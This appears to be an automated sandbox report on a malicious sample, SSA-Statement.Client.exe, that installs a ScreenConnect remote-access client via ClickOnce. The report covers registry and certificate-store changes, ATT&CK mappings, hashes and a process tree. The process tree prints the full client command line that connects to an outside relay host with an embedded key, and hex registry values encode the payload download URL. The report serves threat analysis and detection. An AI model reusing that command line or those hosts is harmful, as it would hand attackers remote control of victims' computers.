Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e1	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0017.0002_none_15faadf56d0f44e3\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\DigestValue = 46be0d5a7db56cb1ad77274709d0db053a3c0999	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "18ORPAGJNABZMMT56AK4C65H"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\implication!scre..tion_25b0fbb6ef7eb094_0017.0002_1db10da = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1db10da180e8ffe7	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\SizeOfStronglyNamedComponent = e7d3020000000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_none_4a31edb78203a9e7	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 680074007400700073003a002f002f0076007a00630078002e00760069006c006c00610061006e006100630072006f0061007400690061002e0063006f006d002f00420069006e002f00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e006100700070006c00690063006100740069006f006e003f0079003d0047007500650073007400260068003d0063006400770065002e007300740069003100750072006500650064006e003000720065006f0061002e0064006500260070003d003500380033003200260073003d00390066003100610062006300360061002d0037006500310064002d0034006600330039002d0061003600640033002d0031003200370039003900370030003700350064003200310026006b003d0042006700490041004100410043006b004100410042005300550030004500780041004100670041004100410045004100410051004200560058007300530045006300250032006200780039007500580044003300430025003200660037006800410036006b0025003200620043006b0059007100380071004e00740039006400640058005400440075006b003600780074006300440058006300690067004b0067006100670064004400720076002500320066006300640056004f0062007300250032006200350050007300490045007100610033004a003700470032004b0056004e006c007700250032006600720075004a006d0070003500670057004b004c00550041003700430047004b0030004d0032007800590050002500320066006e004800720068003800500047004b0062003600410050006700580038002500320062004d006d004b00250032006600520049002500320066007500470031004f006200790048007a0072005a005300410032007a004400780071004d005700740062006800420054006200720059004f005200390047007a0079005a005200740054003200730048004200620055006c007800340031004400410063004b0048006c005200630071006700710072006d0037005500570077004e00590031006d0058004d00670031005200660053003200750043006b00540056006a0064005500330047004c00370041004b0078006f0039004c005a00410046002500320062004e005a003300310078004d00500065006a00300049006600540064006a0078004a004900750042004600460050005100680069004c0055006c0033004d00720072006e004d00250032006200630044007a004f004a0034005200350071007a006b00450044004a0075007800310049006e00480050004f003400340034003700750051006700590032004300250032006600700048003900580058006200790055004a0043005600760067004600460043005000530035004c00530051004a0069005100370043007600670050005700330066004b0069004100730045006100680072007200350036007600750032007900260072003d00260069003d0055006e007400690074006c0065006400250032003000530065007300730069006f006e000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\implication!scre..tion_25b0fbb6ef7eb094_0017.0002_1d = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\implication!scre..tion_25b0fbb6ef7eb094_0017.0002_1d = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_none_4a31edb78203a9e7\lock!020000005fb6570eb40c000024040000000000000000000 = 30303030306362342c30316462333435353532646166353936	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\implication!scre..tion_25b0fbb6ef7eb094_0017.0002_1d = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1db10da180e8ffe7\pin!S_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8\lock!0a000000c3b5570e2804000050020000000000000000000 = 30303030303432382c30316462333435353462633030616231	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_44b528cc51e21b8c\LastRunVersion = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\lock!0e0000005fb6570eb40c000024040000000000000000000 = 30303030306362342c30316462333435353532646166353936	ScreenConnect.WindowsClient.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	SSA-Statement.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-Statement.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	SSA-Statement.Client.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-Statement.Client.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-Statement.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-Statement.Client.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4932	ScreenConnect.WindowsClient.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4660	ScreenConnect.ClientService.exe
4660	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1064	dfsvc.exe
Token: SeDebugPrivilege	4660	ScreenConnect.ClientService.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2496 wrote to memory of 1064	2496	SSA-Statement.Client.exe	83
PID 2496 wrote to memory of 1064	2496	SSA-Statement.Client.exe	83
PID 1064 wrote to memory of 3252	1064	dfsvc.exe	88
PID 1064 wrote to memory of 3252	1064	dfsvc.exe	88
PID 1064 wrote to memory of 3252	1064	dfsvc.exe	88
PID 3252 wrote to memory of 2904	3252	ScreenConnect.WindowsClient.exe	89
PID 3252 wrote to memory of 2904	3252	ScreenConnect.WindowsClient.exe	89
PID 3252 wrote to memory of 2904	3252	ScreenConnect.WindowsClient.exe	89
PID 4660 wrote to memory of 4932	4660	ScreenConnect.ClientService.exe	97
PID 4660 wrote to memory of 4932	4660	ScreenConnect.ClientService.exe	97
PID 4660 wrote to memory of 4932	4660	ScreenConnect.ClientService.exe	97

C:\Users\Admin\AppData\Local\Temp\SSA-Statement.Client.exe
"C:\Users\Admin\AppData\Local\Temp\SSA-Statement.Client.exe"
1⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe" "?y=Guest&h=cdwe.sti1ureedn0reoa.de&p=5832&s=9f1abc6a-7e1d-4f39-a6d3-127997075d21&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2bx9uXD3C%2f7hA6k%2bCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2fcdVObs%2b5PsIEqa3J7G2KVNlw%2fruJmp5gWKLUA7CGK0M2xYP%2fnHrh8PGKb6APgX8%2bMmK%2fRI%2fuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2bNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2bcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2fpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&r=&i=Untitled%20Session" "1"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2904

C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe
"C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe" "?y=Guest&h=cdwe.sti1ureedn0reoa.de&p=5832&s=9f1abc6a-7e1d-4f39-a6d3-127997075d21&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2bx9uXD3C%2f7hA6k%2bCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2fcdVObs%2b5PsIEqa3J7G2KVNlw%2fruJmp5gWKLUA7CGK0M2xYP%2fnHrh8PGKb6APgX8%2bMmK%2fRI%2fuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2bNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2bcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2fpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&r=&i=Untitled%20Session" "1"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe" "RunRole" "b0b39867-bfb9-4138-92d2-17ee60d338da" "User"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: AddClipboardFormatListener
  PID:4932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\manifests\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004.cdf-ms
Size 23KB
SHA256 99aaa0ed473e7170f0c692fc8ba51ff9973e55b6d20cfa8daf79cd191f8cda90
MD5 502b72c7964deeb4b65e46ad3fb9ca13
SHA1 45fa3cdf5d2a232b3805d2746b7dbfc4817479cd
SHA512 39dd2373bacae1499ffdd5ca762688ceffdaed8dc58d50f9f69cc04b1002897b5755cbf793ae6c24c3d0d4697d470058eefc35f82dfbbad7481180cf7fa88097
SSDEEP 384:SkazOQoO6eX9zX9R/QPIBM7YW+++abnrp5:Sj6eX9zX9R/QPI+0W+++ar
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\4VAPT7JQ.A28\Y9OVBVV7.MBY\manifests\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178.cdf-ms
Size 3KB
SHA256 34ebcbb48d4718411067729a3a17392ab19fd269c95c54fc566b38cd71dacd82
